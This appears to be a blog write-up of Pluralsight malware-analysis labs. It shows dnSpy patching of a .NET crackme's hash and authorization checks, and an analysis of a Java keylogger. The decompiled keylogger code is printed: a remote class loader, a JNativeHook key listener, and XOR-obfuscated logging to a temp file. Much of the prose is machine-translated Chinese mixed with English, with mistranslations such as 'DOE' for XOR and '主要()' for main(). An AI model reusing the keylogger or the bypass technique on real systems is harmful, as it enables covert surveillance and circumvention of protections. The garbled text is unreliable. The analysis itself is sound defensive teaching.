This post serves as a write-up of the practical exercises offered in Pluralsight's Analyzing Malware for .NEŤ and Java Binaries course.
本课程涵盖用于分析为.NET和JVM平台开发的恶意软件的工具和技术。 这些工具包括
- dnSpy - .NET disassembler, decompiler and debugger. This utility can accept PE (Portable Executable) files as input and uncover the underlying Common Intermediate Language, as well higher level (C#, Visual Basic) code. dnSpy can also function as a debugger.
- Bytecode Viewer - a reverse engineering suite (disassembler, decompiler, debugger) for the JVM platform.
First steps
本课程包括的第一个练习是为.NET平台编写的非恶意程序,其中包含“标志”(电子邮件地址)。 拆卸和反编译软件dnSpy就像打开便携式可执行文件一样简单(。可执行程序)。
这样做以视觉上与Visual Studio非常相似的方式揭示了程序集的结构。 如我们所见,我们的程序集包含三个项目
- PS_DotNet_Lab1PS_DotNet_Lab1.App_CodePS_DotNet_Lab1.Properties
每个包含多个类。 作为首要任务,我们应该找到程序的入口。 我检查程序上课并找到主要()功能。
namespace PS_DotNet_Lab1
{
// Token: 0x02000004 RID: 4
internal static class Program
{
// Token: 0x06000008 RID: 8 RVA: 0x0000251C File Offset: 0x0000071C
[STAThread]
private static void Main()
{
bool flag = Verification.App_Startup();
if (flag)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Client());
}
else
{
MessageBox.Show("Try Again :)");
}
}
}
}
只需运行该程序,就会显示一个带有“ Try Again :)”消息的消息框,该消息框指示旗变量最初是假。 为了了解此值背后的逻辑,App_Startup()功能(位于验证类)需要进行检查。
namespace PS_DotNet_Lab1
{
// Token: 0x02000002 RID: 2
public static class Verification
{
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static string create_md5(string filename)
{
string result;
using (MD5 md = MD5.Create())
{
using (FileStream fileStream = File.OpenRead(filename))
{
result = BitConverter.ToString(md.ComputeHash(fileStream)).Replace("-", "").ToLowerInvariant();
}
}
return result;
}
// Token: 0x06000002 RID: 2 RVA: 0x000020C4 File Offset: 0x000002C4
public static bool App_Startup()
{
bool result;
try
{
Settings settings = new Settings();
string check = settings.check1;
string b = Verification.create_md5("PS_DotNet_Lab1.exe");
bool flag = check != b;
if (flag)
{
result = false;
}
else
{
result = true;
}
}
catch
{
result = false;
}
return result;
}
}
}
看着App_Startup()和create_md5()这些方法给人的印象是该程序正在通过MD5哈希检查其自身的完整性。 的Settings.check1财产有DefaultSettingValue为特定MD5哈希设置的属性。
Now let's start modifying the code in order to try and bypass these checks. Right clicking anywhere within the method gives us the option to edit it. I simply modify the App_Startup()
method to always return true
instead of the result
variable. After clicking Save All, I create a new version of our executable, with our modified code compiled in it. By running this new executable, I confirm that the hashing checks have been bypassed.
Clicking the Authenticate button introduces an attempt counter. Before I run out of valid attempts (after which the program never launches again), I look at the Client
class, which contains the main callbacks of the Windows Forms application. I specifically pay attention to the button1_Click()
method.
// Token: 0x06000004 RID: 4 RVA: 0x000021A0 File Offset: 0x000003A0
private void button1_Click(object sender, EventArgs e)
{
bool flag = !Authentication.isAuthorized();
if (flag)
{
this.txtOutputLog.AppendText("Invalid Attempt - You have " + this.maxAttempts + " attempts left\n");
bool flag2 = this.maxAttempts == 0U;
if (flag2)
{
RegistryKey registryKey = Registry.CurrentUser.CreateSubKey("PS_DotNet_Lab1");
registryKey.SetValue("Challenge1", "1");
registryKey.Close();
Application.Exit();
}
this.maxAttempts -= 1U;
}
else
{
this.txtOutputLog.Clear();
this.lblMessage.Text = "You got it! " + Authentication.returnEmailAddress();
RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("PS_DotNet_Lab1");
bool flag3 = registryKey2 != null;
if (flag3)
{
object value = registryKey2.GetValue("Challenge1");
bool flag4 = value != null;
if (flag4)
{
registryKey2.DeleteSubKey("Challenge1");
}
registryKey2.Close();
}
}
}
We seem close to our objective. The software seems to check for authorization through the isAuthorized()
method, and if so, display the email "flag". I proceed by modifying the method so that the flag
variable is always false
and does not depend on authorization.
而已。 这显示了我们想要的标志。
注意:恶意软件分析的目标之一是发现妥协指标(IOC)-指示给定机器已被感染的线索。 如反编译代码所示,此软件修改Windows注册表并创建一个子项。PS_DotNet_Lab1。 注册表编辑器中该密钥的存在(注册表编辑器)可以用作IOC。
An alternative way
在对反编译源进行第一次检查时,我发现了实际生成电子邮件地址的方法。 但是,标志并不是简单地保存为字符串,反分析技术叫混淆被使用了。 有问题的方法位于授权书 class and is叫returnEmailAddress()。 这是全班同学的摘录:
public static string returnEmailAddress()
{
string text = "";
foreach (char c in Authentication.addy)
{
text += c.ToString();
}
return text;
}
// Token: 0x04000009 RID: 9
private static byte[] addy = new byte[]
{
53,
102,
54,
104,
56,
57,
100,
115,
117,
64,
48,
120,
101,
118,
105,
108,
99,
48,
100,
101,
46,
99,
111,
109,
46,
99,
111,
109
};
因此,检索我们的电子邮件地址的另一种方法是复制此代码,在我们自己的环境中运行它并检索结果字符串。 但是,我选择尝试打开完整的Windows Forms应用程序以增加兴趣。
Second exercise
The next practical assignment offered in the course is a Java application, that does not contain any flags. The sample that needs to be analyzed comes as a .jar
package, which can be opened from within Bytecode Viewer.
为了剖析程序的逻辑,我们需要找到它的入口点-主要()功能。 可以在资源加载器类,其中还包含许多看似随机的字符串对象,其中大多数可能是不必要的(不必要的代码是另一个反分析技术)。
public static void main(String[] args) throws ClassNotFoundException, IllegalArgumentException, IllegalAccessException, InvocationTargetException, SecurityException,
NoSuchMethodException, IOException {
URL[] classLoaderUrls = new URL[]{new URL(g.c + g.cc + gg.m + dgressdf.xx + gg.mm + dgressdf.x)};
ClassLoader jceClassLoader = new URLClassLoader(classLoaderUrls, (ClassLoader)null);
Thread.currentThread().setContextClassLoader(jceClassLoader);
Class c = jceClassLoader.loadClass("com.jrockit.drive.introspection2");
Method main = c.getMethod("main", args.getClass());
main.invoke((Object)null, args);
}
可以看出,该方法仅用于检索实数主要()的方法introspection2.jar包。 我使用存档软件来检索软件包并将其提供给Bytecode Viewer。
Note: Another internal
.jar
package was present -jnativehook.jar
. Upon looking at its classes, it seems to belong to the JNativeHook library that the malware uses to listen for keypresses.
的内省2类似乎包含主要的恶意逻辑,这是切入点主要()方法包含以下行
GlobalScreen.addNativeKeyListener(new introspection2());
这促使我们注意该类的构造函数:
public introspection2() throws IOException {
File file = new File(System.getProperty("java.io.tmpdir") + "JavaDeploy.log");
if (!file.exists()) {
file.createNewFile();
}
this.fw = new FileWriter(file.getAbsoluteFile(), true);
this.bw = new BufferedWriter(this.fw);
}
很明显,恶意软件会寻找临时目录,并创建一个名为JavaDeploy.log在它里面。 那是我们的妥协指标-通过在可疑机器上搜索此文件,我们可以确认它们是否已被感染。
为了与JNativeHook,该类实现NativeKeyListener接口。 更具体地说,我注意nativeKeyPressed()方法:
public void nativeKeyPressed(NativeKeyEvent e) {
try {
this.bw.write(e.getKeyCode() ^ 151);
this.bw.flush();
} catch (IOException var4) {
}
if (e.getKeyCode() == 1) {
try {
GlobalScreen.unregisterNativeHook();
} catch (NativeHookException var3) {
var3.printStackTrace();
}
}
}
现在,我们可以看到该特定恶意软件的确切机制(更具体地说,键盘记录器)利用。 为了混淆其输出,它会使用特定数字对注册的字符进行DOE(151)。